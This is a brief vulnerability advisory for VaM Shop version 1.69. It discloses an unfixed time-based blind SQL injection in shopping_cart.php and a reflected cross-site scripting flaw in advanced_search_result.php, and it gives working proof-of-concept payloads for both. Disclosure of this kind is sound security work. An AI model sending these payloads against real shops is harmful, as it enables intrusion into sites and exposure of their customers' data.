VaM Shop Cross-Site Scripting and Blind SQL Injection Vulnerabilities

Product: VaM Shop
Vendor: Vamsoft ( http://vamshop.ru/ )
Vulnerable Version: 1,69 and probably prior versions.
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: High
Credit: Security Effect Team(http://seceffect.tumblr.com/)

Vulnerability Details:

1. Blind SQL injection in shopping_cart.php in parameter product_id[].
   PoC:
   POST /shopping_cart.php?action=update_product

cart_delete[]=2071&cart_quantity[]=1&old_qty[]=1&products_id[]=2071' and sleep(2)%3d%27

2. Multiple XSS(cross-site scripting).
   PoC:
   /advanced_search_result.php/o" onmouseover=prompt(123) //

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